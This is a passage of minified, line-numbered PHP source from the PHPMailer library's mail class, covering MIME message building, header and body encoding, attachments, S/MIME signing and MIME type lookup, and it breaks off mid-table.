  603. }}}public function setLanguage($langcode='en',$lang_path=''){$PHPMAILER_LANG=array('authenticate'=>'SMTP Error: Could not authenticate.','connect_host'=>'SMTP Error: Could not connect to SMTP host.','data_not_accepted'=>'SMTP Error: data not accepted.','empty_message'=>'Message body empty','encoding'=>'Unknown encoding: ','execute'=>'Could not execute: ','file_access'=>'Could not access file: ','file_open'=>'File Error: Could not open file: ','from_failed'=>'The following From address failed: ','instantiate'=>'Could not instantiate mail function.','invalid_address'=>'Invalid address','mailer_not_supported'=>' mailer is not supported.','provide_address'=>'You must provide at least one recipient email address.','recipients_failed'=>'SMTP Error: The following recipients failed: ','signing'=>'Signing Error: ','smtp_connect_failed'=>'SMTP connect() failed.','smtp_error'=>'SMTP server error: ','variable_set'=>'Cannot set or reset variable: ','extension_missing'=>'Extension missing: ');
  604. if(empty($lang_path)){$lang_path=dirname(__FILE__).DIRECTORY_SEPARATOR.'language'.DIRECTORY_SEPARATOR;
  605. }$foundlang=true;
  606. $lang_file=$lang_path.'phpmailer.lang-'.$langcode.'.php';
  607. if($langcode!='en'){if(!is_readable($lang_file)){$foundlang=false;
  608. }else{$foundlang=include $lang_file;
  609. }}$this->language=$PHPMAILER_LANG;
  610. return (boolean)$foundlang;
  611. }public function getTranslations(){return $this->language;
  612. }public function addrAppend($type,$addr){$addresses=array();
  613. foreach($addr as $address){$addresses[]=$this->addrFormat($address);
  614. }return $type.': '.implode(', ',$addresses).$this->LE;
  615. }public function addrFormat($addr){if(empty($addr[1])){return $this->secureHeader($addr[0]);
  616. }else{return $this->encodeHeader($this->secureHeader($addr[1]),'phrase').' <'.$this->secureHeader($addr[0]).'>';
  617. }}public function wrapText($message,$length,$qp_mode=false){if($qp_mode){$soft_break=sprintf(' =%s',$this->LE);
  618. }else{$soft_break=$this->LE;
  619. }$is_utf8=(strtolower($this->CharSet)=='utf-8');
  620. $lelen=strlen($this->LE);
  621. $crlflen=strlen(self::CRLF);
  622. $message=$this->fixEOL($message);
  623. if(substr($message,-$lelen)==$this->LE){$message=substr($message,0,-$lelen);
  624. }$lines=explode($this->LE,$message);
  625. $message='';
  626. foreach($lines as $line){$words=explode(' ',$line);
  627. $buf='';
  628. $firstword=true;
  629. foreach($words as $word){if($qp_mode and(strlen($word)>$length)){$space_left=$length-strlen($buf)-$crlflen;
  630. if(!$firstword){if($space_left>20){$len=$space_left;
  631. if($is_utf8){$len=$this->utf8CharBoundary($word,$len);
  632. }elseif(substr($word,$len-1,1)=='='){$len--;
  633. }elseif(substr($word,$len-2,1)=='='){$len-=2;
  634. }$part=substr($word,0,$len);
  635. $word=substr($word,$len);
  636. $buf.=' '.$part;
  637. $message.=$buf.sprintf('=%s',self::CRLF);
  638. }else{$message.=$buf.$soft_break;
  639. }$buf='';
  640. }while(strlen($word)>0){if($length<=0){break;
  641. }$len=$length;
  642. if($is_utf8){$len=$this->utf8CharBoundary($word,$len);
  643. }elseif(substr($word,$len-1,1)=='='){$len--;
  644. }elseif(substr($word,$len-2,1)=='='){$len-=2;
  645. }$part=substr($word,0,$len);
  646. $word=substr($word,$len);
  647. if(strlen($word)>0){$message.=$part.sprintf('=%s',self::CRLF);
  648. }else{$buf=$part;
  649. }}}else{$buf_o=$buf;
  650. if(!$firstword){$buf.=' ';
  651. }$buf.=$word;
  652. if(strlen($buf)>$length and $buf_o!=''){$message.=$buf_o.$soft_break;
  653. $buf=$word;
  654. }}$firstword=false;
  655. }$message.=$buf.self::CRLF;
  656. }return $message;
  657. }public function utf8CharBoundary($encodedText,$maxLength){$foundSplitPos=false;
  658. $lookBack=3;
  659. while(!$foundSplitPos){$lastChunk=substr($encodedText,$maxLength-$lookBack,$lookBack);
  660. $encodedCharPos=strpos($lastChunk,'=');
  661. if(false!==$encodedCharPos){$hex=substr($encodedText,$maxLength-$lookBack+$encodedCharPos+1,2);
  662. $dec=hexdec($hex);
  663. if($dec<128){if($encodedCharPos>0){$maxLength=$maxLength-($lookBack-$encodedCharPos);
  664. }$foundSplitPos=true;
  665. }elseif($dec>=192){$maxLength=$maxLength-($lookBack-$encodedCharPos);
  666. $foundSplitPos=true;
  667. }elseif($dec<192){$lookBack+=3;
  668. }}else{$foundSplitPos=true;
  669. }}return $maxLength;
  670. }public function setWordWrap(){if($this->WordWrap<1){return;
  671. }switch($this->message_type){case 'alt':case 'alt_inline':case 'alt_attach':case 'alt_inline_attach':$this->AltBody=$this->wrapText($this->AltBody,$this->WordWrap);
  672. break;
  673. default:$this->Body=$this->wrapText($this->Body,$this->WordWrap);
  674. break;
  675. }}public function createHeader(){$result='';
  676. $uniq_id=md5(uniqid(time()));
  677. $this->boundary[1]='b1_'.$uniq_id;
  678. $this->boundary[2]='b2_'.$uniq_id;
  679. $this->boundary[3]='b3_'.$uniq_id;
  680. if($this->MessageDate==''){$this->MessageDate=self::rfcDate();
  681. }$result.=$this->headerLine('Date',$this->MessageDate);
  682. if($this->SingleTo){if($this->Mailer!='mail'){foreach($this->to as $toaddr){$this->SingleToArray[]=$this->addrFormat($toaddr);
  683. }}}else{if(count($this->to)>0){if($this->Mailer!='mail'){$result.=$this->addrAppend('To',$this->to);
  684. }}elseif(count($this->cc)==0){$result.=$this->headerLine('To','undisclosed-recipients:;
  685. ');
  686. }}$result.=$this->addrAppend('From',array(array(trim($this->From),$this->FromName)));
  687. if(count($this->cc)>0){$result.=$this->addrAppend('Cc',$this->cc);
  688. }if(($this->Mailer=='sendmail' or $this->Mailer=='qmail' or $this->Mailer=='mail')and count($this->bcc)>0){$result.=$this->addrAppend('Bcc',$this->bcc);
  689. }if(count($this->ReplyTo)>0){$result.=$this->addrAppend('Reply-To',$this->ReplyTo);
  690. }if($this->Mailer!='mail'){$result.=$this->headerLine('Subject',$this->encodeHeader($this->secureHeader($this->Subject)));
  691. }if($this->MessageID!=''){$this->lastMessageID=$this->MessageID;
  692. }else{$this->lastMessageID=sprintf('<%s@%s>',$uniq_id,$this->ServerHostname());
  693. }$result.=$this->headerLine('Message-ID',$this->lastMessageID);
  694. $result.=$this->headerLine('X-Priority',$this->Priority);
  695. if($this->XMailer==''){}else{$myXmailer=trim($this->XMailer);
  696. if($myXmailer){$result.=$this->headerLine('X-Mailer',$myXmailer);
  697. }}if($this->ConfirmReadingTo!=''){$result.=$this->headerLine('Disposition-Notification-To','<'.trim($this->ConfirmReadingTo).'>');
  698. }foreach($this->CustomHeader as $header){$result.=$this->headerLine(trim($header[0]),$this->encodeHeader(trim($header[1])));
  699. }if(!$this->sign_key_file){$result.=$this->headerLine('MIME-Version','1.0');
  700. $result.=$this->getMailMIME();
  701. }return $result;
  702. }public function getMailMIME(){$result='';
  703. $ismultipart=true;
  704. switch($this->message_type){case 'inline':$result.=$this->headerLine('Content-Type','multipart/related;
  705. ');
  706. $result.=$this->textLine("\tboundary=\"".$this->boundary[1].'"');
  707. break;
  708. case 'attach':case 'inline_attach':case 'alt_attach':case 'alt_inline_attach':$result.=$this->headerLine('Content-Type','multipart/mixed;
  709. ');
  710. $result.=$this->textLine("\tboundary=\"".$this->boundary[1].'"');
  711. break;
  712. case 'alt':case 'alt_inline':$result.=$this->headerLine('Content-Type','multipart/alternative;
  713. ');
  714. $result.=$this->textLine("\tboundary=\"".$this->boundary[1].'"');
  715. break;
  716. default:$result.=$this->textLine('Content-Type: '.$this->ContentType.';
  717. charset='.$this->CharSet);
  718. $ismultipart=false;
  719. break;
  720. }if($this->Encoding!='7bit'){if($ismultipart){if($this->Encoding=='8bit'){$result.=$this->headerLine('Content-Transfer-Encoding','8bit');
  721. }}else{$result.=$this->headerLine('Content-Transfer-Encoding',$this->Encoding);
  722. }}if($this->Mailer!='mail'){$result.=$this->LE;
  723. }return $result;
  724. }public function getSentMIMEMessage(){return $this->MIMEHeader.$this->mailHeader.self::CRLF.$this->MIMEBody;
  725. }public function createBody(){$body='';
  726. if($this->sign_key_file){$body.=$this->getMailMIME().$this->LE;
  727. }$this->setWordWrap();
  728. $bodyEncoding=$this->Encoding;
  729. $bodyCharSet=$this->CharSet;
  730. if($bodyEncoding=='8bit' and!$this->has8bitChars($this->Body)){$bodyEncoding='7bit';
  731. $bodyCharSet='us-ascii';
  732. }$altBodyEncoding=$this->Encoding;
  733. $altBodyCharSet=$this->CharSet;
  734. if($altBodyEncoding=='8bit' and!$this->has8bitChars($this->AltBody)){$altBodyEncoding='7bit';
  735. $altBodyCharSet='us-ascii';
  736. }$mimepre="This is a multi-part message in MIME format.".$this->LE.$this->LE;
  737. switch($this->message_type){case 'inline':$body.=$mimepre;
  738. $body.=$this->getBoundary($this->boundary[1],$bodyCharSet,'',$bodyEncoding);
  739. $body.=$this->encodeString($this->Body,$bodyEncoding);
  740. $body.=$this->LE.$this->LE;
  741. $body.=$this->attachAll('inline',$this->boundary[1]);
  742. break;
  743. case 'attach':$body.=$mimepre;
  744. $body.=$this->getBoundary($this->boundary[1],$bodyCharSet,'',$bodyEncoding);
  745. $body.=$this->encodeString($this->Body,$bodyEncoding);
  746. $body.=$this->LE.$this->LE;
  747. $body.=$this->attachAll('attachment',$this->boundary[1]);
  748. break;
  749. case 'inline_attach':$body.=$mimepre;
  750. $body.=$this->textLine('--'.$this->boundary[1]);
  751. $body.=$this->headerLine('Content-Type','multipart/related;
  752. ');
  753. $body.=$this->textLine("\tboundary=\"".$this->boundary[2].'"');
  754. $body.=$this->LE;
  755. $body.=$this->getBoundary($this->boundary[2],$bodyCharSet,'',$bodyEncoding);
  756. $body.=$this->encodeString($this->Body,$bodyEncoding);
  757. $body.=$this->LE.$this->LE;
  758. $body.=$this->attachAll('inline',$this->boundary[2]);
  759. $body.=$this->LE;
  760. $body.=$this->attachAll('attachment',$this->boundary[1]);
  761. break;
  762. case 'alt':$body.=$mimepre;
  763. $body.=$this->getBoundary($this->boundary[1],$altBodyCharSet,'text/plain',$altBodyEncoding);
  764. $body.=$this->encodeString($this->AltBody,$altBodyEncoding);
  765. $body.=$this->LE.$this->LE;
  766. $body.=$this->getBoundary($this->boundary[1],$bodyCharSet,'text/html',$bodyEncoding);
  767. $body.=$this->encodeString($this->Body,$bodyEncoding);
  768. $body.=$this->LE.$this->LE;
  769. if(!empty($this->Ical)){$body.=$this->getBoundary($this->boundary[1],'','text/calendar;
  770. method=REQUEST','');
  771. $body.=$this->encodeString($this->Ical,$this->Encoding);
  772. $body.=$this->LE.$this->LE;
  773. }$body.=$this->endBoundary($this->boundary[1]);
  774. break;
  775. case 'alt_inline':$body.=$mimepre;
  776. $body.=$this->getBoundary($this->boundary[1],$altBodyCharSet,'text/plain',$altBodyEncoding);
  777. $body.=$this->encodeString($this->AltBody,$altBodyEncoding);
  778. $body.=$this->LE.$this->LE;
  779. $body.=$this->textLine('--'.$this->boundary[1]);
  780. $body.=$this->headerLine('Content-Type','multipart/related;
  781. ');
  782. $body.=$this->textLine("\tboundary=\"".$this->boundary[2].'"');
  783. $body.=$this->LE;
  784. $body.=$this->getBoundary($this->boundary[2],$bodyCharSet,'text/html',$bodyEncoding);
  785. $body.=$this->encodeString($this->Body,$bodyEncoding);
  786. $body.=$this->LE.$this->LE;
  787. $body.=$this->attachAll('inline',$this->boundary[2]);
  788. $body.=$this->LE;
  789. $body.=$this->endBoundary($this->boundary[1]);
  790. break;
  791. case 'alt_attach':$body.=$mimepre;
  792. $body.=$this->textLine('--'.$this->boundary[1]);
  793. $body.=$this->headerLine('Content-Type','multipart/alternative;
  794. ');
  795. $body.=$this->textLine("\tboundary=\"".$this->boundary[2].'"');
  796. $body.=$this->LE;
  797. $body.=$this->getBoundary($this->boundary[2],$altBodyCharSet,'text/plain',$altBodyEncoding);
  798. $body.=$this->encodeString($this->AltBody,$altBodyEncoding);
  799. $body.=$this->LE.$this->LE;
  800. $body.=$this->getBoundary($this->boundary[2],$bodyCharSet,'text/html',$bodyEncoding);
  801. $body.=$this->encodeString($this->Body,$bodyEncoding);
  802. $body.=$this->LE.$this->LE;
  803. $body.=$this->endBoundary($this->boundary[2]);
  804. $body.=$this->LE;
  805. $body.=$this->attachAll('attachment',$this->boundary[1]);
  806. break;
  807. case 'alt_inline_attach':$body.=$mimepre;
  808. $body.=$this->textLine('--'.$this->boundary[1]);
  809. $body.=$this->headerLine('Content-Type','multipart/alternative;
  810. ');
  811. $body.=$this->textLine("\tboundary=\"".$this->boundary[2].'"');
  812. $body.=$this->LE;
  813. $body.=$this->getBoundary($this->boundary[2],$altBodyCharSet,'text/plain',$altBodyEncoding);
  814. $body.=$this->encodeString($this->AltBody,$altBodyEncoding);
  815. $body.=$this->LE.$this->LE;
  816. $body.=$this->textLine('--'.$this->boundary[2]);
  817. $body.=$this->headerLine('Content-Type','multipart/related;
  818. ');
  819. $body.=$this->textLine("\tboundary=\"".$this->boundary[3].'"');
  820. $body.=$this->LE;
  821. $body.=$this->getBoundary($this->boundary[3],$bodyCharSet,'text/html',$bodyEncoding);
  822. $body.=$this->encodeString($this->Body,$bodyEncoding);
  823. $body.=$this->LE.$this->LE;
  824. $body.=$this->attachAll('inline',$this->boundary[3]);
  825. $body.=$this->LE;
  826. $body.=$this->endBoundary($this->boundary[2]);
  827. $body.=$this->LE;
  828. $body.=$this->attachAll('attachment',$this->boundary[1]);
  829. break;
  830. default:$body.=$this->encodeString($this->Body,$bodyEncoding);
  831. break;
  832. }if($this->isError()){$body='';
  833. }elseif($this->sign_key_file){try{if(!defined('PKCS7_TEXT')){throw new phpmailerException($this->lang('extension_missing').'openssl');
  834. }$file=tempnam(sys_get_temp_dir(),'mail');
  835. if(false===file_put_contents($file,$body)){throw new phpmailerException($this->lang('signing').' Could not write temp file');
  836. }$signed=tempnam(sys_get_temp_dir(),'signed');
  837. if(empty($this->sign_extracerts_file)){$sign=@openssl_pkcs7_sign($file,$signed,'file://'.realpath($this->sign_cert_file),array('file://'.realpath($this->sign_key_file),$this->sign_key_pass),null);
  838. }else{$sign=@openssl_pkcs7_sign($file,$signed,'file://'.realpath($this->sign_cert_file),array('file://'.realpath($this->sign_key_file),$this->sign_key_pass),null,PKCS7_DETACHED,$this->sign_extracerts_file);
  839. }if($sign){@unlink($file);
  840. $body=file_get_contents($signed);
  841. @unlink($signed);
  842. $parts=explode("\n\n",$body,2);
  843. $this->MIMEHeader.=$parts[0].$this->LE.$this->LE;
  844. $body=$parts[1];
  845. }else{@unlink($file);
  846. @unlink($signed);
  847. throw new phpmailerException($this->lang('signing').openssl_error_string());
  848. }}catch(phpmailerException $exc){$body='';
  849. if($this->exceptions){throw $exc;
  850. }}}return $body;
  851. }protected function getBoundary($boundary,$charSet,$contentType,$encoding){$result='';
  852. if($charSet==''){$charSet=$this->CharSet;
  853. }if($contentType==''){$contentType=$this->ContentType;
  854. }if($encoding==''){$encoding=$this->Encoding;
  855. }$result.=$this->textLine('--'.$boundary);
  856. $result.=sprintf('Content-Type: %s;
  857. charset=%s',$contentType,$charSet);
  858. $result.=$this->LE;
  859. if($encoding!='7bit'){$result.=$this->headerLine('Content-Transfer-Encoding',$encoding);
  860. }$result.=$this->LE;
  861. return $result;
  862. }protected function endBoundary($boundary){return $this->LE.'--'.$boundary.'--'.$this->LE;
  863. }protected function setMessageType(){$type=array();
  864. if($this->alternativeExists()){$type[]='alt';
  865. }if($this->inlineImageExists()){$type[]='inline';
  866. }if($this->attachmentExists()){$type[]='attach';
  867. }$this->message_type=implode('_',$type);
  868. if($this->message_type==''){$this->message_type='plain';
  869. }}public function headerLine($name,$value){return $name.': '.$value.$this->LE;
  870. }public function textLine($value){return $value.$this->LE;
  871. }public function addAttachment($path,$name='',$encoding='base64',$type='',$disposition='attachment'){try{if(!@is_file($path)){throw new phpmailerException($this->lang('file_access').$path,self::STOP_CONTINUE);
  872. }if($type==''){$type=self::filenameToType($path);
  873. }$filename=basename($path);
  874. if($name==''){$name=$filename;
  875. }$this->attachment[]=array(0=>$path,1=>$filename,2=>$name,3=>$encoding,4=>$type,5=>false,6=>$disposition,7=>0);
  876. }catch(phpmailerException $exc){$this->setError($exc->getMessage());
  877. $this->edebug($exc->getMessage());
  878. if($this->exceptions){throw $exc;
  879. }return false;
  880. }return true;
  881. }public function getAttachments(){return $this->attachment;
  882. }protected function attachAll($disposition_type,$boundary){$mime=array();
  883. $cidUniq=array();
  884. $incl=array();
  885. foreach($this->attachment as $attachment){if($attachment[6]==$disposition_type){$string='';
  886. $path='';
  887. $bString=$attachment[5];
  888. if($bString){$string=$attachment[0];
  889. }else{$path=$attachment[0];
  890. }$inclhash=md5(serialize($attachment));
  891. if(in_array($inclhash,$incl)){continue;
  892. }$incl[]=$inclhash;
  893. $name=$attachment[2];
  894. $encoding=$attachment[3];
  895. $type=$attachment[4];
  896. $disposition=$attachment[6];
  897. $cid=$attachment[7];
  898. if($disposition=='inline'&&isset($cidUniq[$cid])){continue;
  899. }$cidUniq[$cid]=true;
  900. $mime[]=sprintf('--%s%s',$boundary,$this->LE);
  901. $mime[]=sprintf('Content-Type: %s;
  902. name="%s"%s',$type,$this->encodeHeader($this->secureHeader($name)),$this->LE);
  903. if($encoding!='7bit'){$mime[]=sprintf('Content-Transfer-Encoding: %s%s',$encoding,$this->LE);
  904. }if($disposition=='inline'){$mime[]=sprintf('Content-ID: <%s>%s',$cid,$this->LE);
  905. }if(!(empty($disposition))){$encoded_name=$this->encodeHeader($this->secureHeader($name));
  906. if(preg_match('/[ \(\)<>@,;
  907. :\\"\/\[\]\?=]/',$encoded_name)){$mime[]=sprintf('Content-Disposition: %s;
  908. filename="%s"%s',$disposition,$encoded_name,$this->LE.$this->LE);
  909. }else{$mime[]=sprintf('Content-Disposition: %s;
  910. filename=%s%s',$disposition,$encoded_name,$this->LE.$this->LE);
  911. }}else{$mime[]=$this->LE;
  912. }if($bString){$mime[]=$this->encodeString($string,$encoding);
  913. if($this->isError()){return'';
  914. }$mime[]=$this->LE.$this->LE;
  915. }else{$mime[]=$this->encodeFile($path,$encoding);
  916. if($this->isError()){return'';
  917. }$mime[]=$this->LE.$this->LE;
  918. }}}$mime[]=sprintf('--%s--%s',$boundary,$this->LE);
  919. return implode('',$mime);
  920. }protected function encodeFile($path,$encoding='base64'){try{if(!is_readable($path)){throw new phpmailerException($this->lang('file_open').$path,self::STOP_CONTINUE);
  921. }$magic_quotes=get_magic_quotes_runtime();
  922. if($magic_quotes){if(version_compare(PHP_VERSION,'5.3.0','<')){set_magic_quotes_runtime(false);
  923. }else{ini_set('magic_quotes_runtime',false);
  924. }}$file_buffer=file_get_contents($path);
  925. $file_buffer=$this->encodeString($file_buffer,$encoding);
  926. if($magic_quotes){if(version_compare(PHP_VERSION,'5.3.0','<')){set_magic_quotes_runtime($magic_quotes);
  927. }else{ini_set('magic_quotes_runtime',$magic_quotes);
  928. }}return $file_buffer;
  929. }catch(Exception $exc){$this->setError($exc->getMessage());
  930. return'';
  931. }}public function encodeString($str,$encoding='base64'){$encoded='';
  932. switch(strtolower($encoding)){case 'base64':$encoded=chunk_split(base64_encode($str),76,$this->LE);
  933. break;
  934. case '7bit':case '8bit':$encoded=$this->fixEOL($str);
  935. if(substr($encoded,-(strlen($this->LE)))!=$this->LE){$encoded.=$this->LE;
  936. }break;
  937. case 'binary':$encoded=$str;
  938. break;
  939. case 'quoted-printable':$encoded=$this->encodeQP($str);
  940. break;
  941. default:$this->setError($this->lang('encoding').$encoding);
  942. break;
  943. }return $encoded;
  944. }public function encodeHeader($str,$position='text'){$matchcount=0;
  945. switch(strtolower($position)){case 'phrase':if(!preg_match('/[\200-\377]/',$str)){$encoded=addcslashes($str,"\0..\37\177\\\"");
  946. if(($str==$encoded)&&!preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/',$str)){return($encoded);
  947. }else{return("\"$encoded\"");
  948. }}$matchcount=preg_match_all('/[^\040\041\043-\133\135-\176]/',$str,$matches);
  949. break;
  950. case 'comment':$matchcount=preg_match_all('/[()"]/',$str,$matches);
  951. case 'text':default:$matchcount+=preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/',$str,$matches);
  952. break;
  953. }if($matchcount==0){return($str);
  954. }$maxlen=75-7-strlen($this->CharSet);
  955. if($matchcount>strlen($str)/3){$encoding='B';
  956. if(function_exists('mb_strlen')&&$this->hasMultiBytes($str)){$encoded=$this->base64EncodeWrapMB($str,"\n");
  957. }else{$encoded=base64_encode($str);
  958. $maxlen-=$maxlen%4;
  959. $encoded=trim(chunk_split($encoded,$maxlen,"\n"));
  960. }}else{$encoding='Q';
  961. $encoded=$this->encodeQ($str,$position);
  962. $encoded=$this->wrapText($encoded,$maxlen,true);
  963. $encoded=str_replace('='.self::CRLF,"\n",trim($encoded));
  964. }$encoded=preg_replace('/^(.*)$/m',' =?'.$this->CharSet."?$encoding?\\1?=",$encoded);
  965. $encoded=trim(str_replace("\n",$this->LE,$encoded));
  966. return $encoded;
  967. }public function hasMultiBytes($str){if(function_exists('mb_strlen')){return(strlen($str)>mb_strlen($str,$this->CharSet));
  968. }else{return false;
  969. }}public function has8bitChars($text){return (boolean)preg_match('/[\x80-\xFF]/',$text);
  970. }public function base64EncodeWrapMB($str,$linebreak=null){$start='=?'.$this->CharSet.'?B?';
  971. $end='?=';
  972. $encoded='';
  973. if($linebreak===null){$linebreak=$this->LE;
  974. }$mb_length=mb_strlen($str,$this->CharSet);
  975. $length=75-strlen($start)-strlen($end);
  976. $ratio=$mb_length/strlen($str);
  977. $avgLength=floor($length*$ratio*.75);
  978. for($i=0;
  979. $i<$mb_length;
  980. $i+=$offset){$lookBack=0;
  981. do{$offset=$avgLength-$lookBack;
  982. $chunk=mb_substr($str,$i,$offset,$this->CharSet);
  983. $chunk=base64_encode($chunk);
  984. $lookBack++;
  985. }while(strlen($chunk)>$length);
  986. $encoded.=$chunk.$linebreak;
  987. }$encoded=substr($encoded,0,-strlen($linebreak));
  988. return $encoded;
  989. }public function encodeQP($string,$line_max=76){if(function_exists('quoted_printable_encode')){return $this->fixEOL(quoted_printable_encode($string));
  990. }$string=str_replace(array('%20','%0D%0A.','%0D%0A','%'),array(' ',"\r\n=2E","\r\n",'='),rawurlencode($string));
  991. $string=preg_replace('/[^\r\n]{'.($line_max-3).'}[^=\r\n]{2}/',"$0=\r\n",$string);
  992. return $this->fixEOL($string);
  993. }public function encodeQPphp($string,$line_max=76,$space_conv=false){return $this->encodeQP($string,$line_max);
  994. }public function encodeQ($str,$position='text'){$pattern='';
  995. $encoded=str_replace(array("\r","\n"),'',$str);
  996. switch(strtolower($position)){case 'phrase':$pattern='^A-Za-z0-9!*+\/ -';
  997. break;
  998. case 'comment':$pattern='\(\)"';
  999. case 'text':default:$pattern='\000-\011\013\014\016-\037\075\077\137\177-\377'.$pattern;
  1000. break;
  1001. }$matches=array();
  1002. if(preg_match_all("/[{$pattern}]/",$encoded,$matches)){$eqkey=array_search('=',$matches[0]);
  1003. if(false!==$eqkey){unset($matches[0][$eqkey]);
  1004. array_unshift($matches[0],'=');
  1005. }foreach(array_unique($matches[0])as $char){$encoded=str_replace($char,'='.sprintf('%02X',ord($char)),$encoded);
  1006. }}return str_replace(' ','_',$encoded);
  1007. }public function addStringAttachment($string,$filename,$encoding='base64',$type='',$disposition='attachment'){if($type==''){$type=self::filenameToType($filename);
  1008. }$this->attachment[]=array(0=>$string,1=>$filename,2=>basename($filename),3=>$encoding,4=>$type,5=>true,6=>$disposition,7=>0);
  1009. }public function addEmbeddedImage($path,$cid,$name='',$encoding='base64',$type='',$disposition='inline'){if(!@is_file($path)){$this->setError($this->lang('file_access').$path);
  1010. return false;
  1011. }if($type==''){$type=self::filenameToType($path);
  1012. }$filename=basename($path);
  1013. if($name==''){$name=$filename;
  1014. }$this->attachment[]=array(0=>$path,1=>$filename,2=>$name,3=>$encoding,4=>$type,5=>false,6=>$disposition,7=>$cid);
  1015. return true;
  1016. }public function addStringEmbeddedImage($string,$cid,$name='',$encoding='base64',$type='',$disposition='inline'){if($type==''){$type=self::filenameToType($name);
  1017. }$this->attachment[]=array(0=>$string,1=>$name,2=>$name,3=>$encoding,4=>$type,5=>true,6=>$disposition,7=>$cid);
  1018. return true;
  1019. }public function inlineImageExists(){foreach($this->attachment as $attachment){if($attachment[6]=='inline'){return true;
  1020. }}return false;
  1021. }public function attachmentExists(){foreach($this->attachment as $attachment){if($attachment[6]=='attachment'){return true;
  1022. }}return false;
  1023. }public function alternativeExists(){return!empty($this->AltBody);
  1024. }public function clearAddresses(){foreach($this->to as $to){unset($this->all_recipients[strtolower($to[0])]);
  1025. }$this->to=array();
  1026. }public function clearCCs(){foreach($this->cc as $cc){unset($this->all_recipients[strtolower($cc[0])]);
  1027. }$this->cc=array();
  1028. }public function clearBCCs(){foreach($this->bcc as $bcc){unset($this->all_recipients[strtolower($bcc[0])]);
  1029. }$this->bcc=array();
  1030. }public function clearReplyTos(){$this->ReplyTo=array();
  1031. }public function clearAllRecipients(){$this->to=array();
  1032. $this->cc=array();
  1033. $this->bcc=array();
  1034. $this->all_recipients=array();
  1035. }public function clearAttachments(){$this->attachment=array();
  1036. }public function clearCustomHeaders(){$this->CustomHeader=array();
  1037. }protected function setError($msg){$this->error_count++;
  1038. if($this->Mailer=='smtp' and!is_null($this->smtp)){$lasterror=$this->smtp->getError();
  1039. if(!empty($lasterror['error'])){$msg.=$this->lang('smtp_error').$lasterror['error'];
  1040. if(!empty($lasterror['detail'])){$msg.=' Detail: '.$lasterror['detail'];
  1041. }if(!empty($lasterror['smtp_code'])){$msg.=' SMTP code: '.$lasterror['smtp_code'];
  1042. }if(!empty($lasterror['smtp_code_ex'])){$msg.=' Additional SMTP info: '.$lasterror['smtp_code_ex'];
  1043. }}}$this->ErrorInfo=$msg;
  1044. }public static function rfcDate(){date_default_timezone_set(@date_default_timezone_get());
  1045. return date('D, j M Y H:i:s O');
  1046. }protected function serverHostname(){$result='localhost.localdomain';
  1047. if(!empty($this->Hostname)){$result=$this->Hostname;
  1048. }elseif(isset($_SERVER)and array_key_exists('SERVER_NAME',$_SERVER)and!empty($_SERVER['SERVER_NAME'])){$result=$_SERVER['SERVER_NAME'];
  1049. }elseif(function_exists('gethostname')&&gethostname()!==false){$result=gethostname();
  1050. }elseif(php_uname('n')!==false){$result=php_uname('n');
  1051. }return $result;
  1052. }protected function lang($key){if(count($this->language)<1){$this->setLanguage('en');
  1053. }if(array_key_exists($key,$this->language)){return $this->language[$key];
  1054. }else{return $key;
  1055. }}public function isError(){return($this->error_count>0);
  1056. }public function fixEOL($str){$nstr=str_replace(array("\r\n","\r"),"\n",$str);
  1057. if($this->LE!=="\n"){$nstr=str_replace("\n",$this->LE,$nstr);
  1058. }return $nstr;
  1059. }public function addCustomHeader($name,$value=null){if($value===null){$this->CustomHeader[]=explode(':',$name,2);
  1060. }else{$this->CustomHeader[]=array($name,$value);
  1061. }}public function getCustomHeaders(){return $this->CustomHeader;
  1062. }public function msgHTML($message,$basedir='',$advanced=false){preg_match_all('/(src|background)=["\'](.*)["\']/Ui',$message,$images);
  1063. if(isset($images[2])){foreach($images[2]as $imgindex=>$url){if(preg_match('#^data:(image[^;
  1064. ,]*)(;
  1065. base64)?,#',$url,$match)){$data=substr($url,strpos($url,','));
  1066. if($match[2]){$data=base64_decode($data);
  1067. }else{$data=rawurldecode($data);
  1068. }$cid=md5($url).'@phpmailer.0';
  1069. if($this->addStringEmbeddedImage($data,$cid,'','base64',$match[1])){$message=str_replace($images[0][$imgindex],$images[1][$imgindex].'="cid:'.$cid.'"',$message);
  1070. }}elseif(!preg_match('#^[A-z]+://#',$url)){$filename=basename($url);
  1071. $directory=dirname($url);
  1072. if($directory=='.'){$directory='';
  1073. }$cid=md5($url).'@phpmailer.0';
  1074. if(strlen($basedir)>1&&substr($basedir,-1)!='/'){$basedir.='/';
  1075. }if(strlen($directory)>1&&substr($directory,-1)!='/'){$directory.='/';
  1076. }if($this->addEmbeddedImage($basedir.$directory.$filename,$cid,$filename,'base64',self::_mime_types((string)self::mb_pathinfo($filename,PATHINFO_EXTENSION)))){$message=preg_replace('/'.$images[1][$imgindex].'=["\']'.preg_quote($url,'/').'["\']/Ui',$images[1][$imgindex].'="cid:'.$cid.'"',$message);
  1077. }}}}$this->isHTML(true);
  1078. $this->Body=$this->normalizeBreaks($message);
  1079. $this->AltBody=$this->normalizeBreaks($this->html2text($message,$advanced));
  1080. if(empty($this->AltBody)){$this->AltBody='To view this email message, open it in a program that understands HTML!'.self::CRLF.self::CRLF;
  1081. }return $this->Body;
  1082. }public function html2text($html,$advanced=false){if(is_callable($advanced)){return call_user_func($advanced,$html);
  1083. }return html_entity_decode(trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/si','',$html))),ENT_QUOTES,$this->CharSet);
  1084. }public static function _mime_types($ext=''){$mimes=array('xl'=>'application/excel','js'=>'application/javascript','hqx'=>'application/mac-binhex40','cpt'=>'application/mac-compactpro','bin'=>'application/macbinary','doc'=>'application/msword','word'=>'application/msword','class'=>'application/octet-stream','dll'=>'application/octet-stream','dms'=>'application/octet-stream','exe'=>'application/octet-stream','lha'=>'application/octet-stream','lzh'=>'application/octet-stream','psd'=>'application/octet-stream','sea'=>'application/octet-stream','so'=>'application/octet-stream','oda'=>'application/oda','pdf'=>'application/pdf','ai'=>'application/postscript','eps'=>'application/postscript','ps'=>'application/postscript','smi'=>'application/smil','smil'=>'application/smil','mif'=>'application/vnd.mif','xls'=>'application/vnd.ms-excel','ppt'=>'application/vnd.ms-powerpoint','wbxml'=>'application/vnd.wap.wbxml','wmlc'=>'application/vnd.wap.wmlc','dcr'=>'application/x-director','dir'=>'application/x-director','dxr'=>'application/x-director','dvi'=>'application/x-dvi','gtar'=>'application/x-gtar','php3'=>'application/x-httpd-php','php4'=>'application/x-httpd-php','php'=>'application/x-httpd-php','phtml'=>'application/x-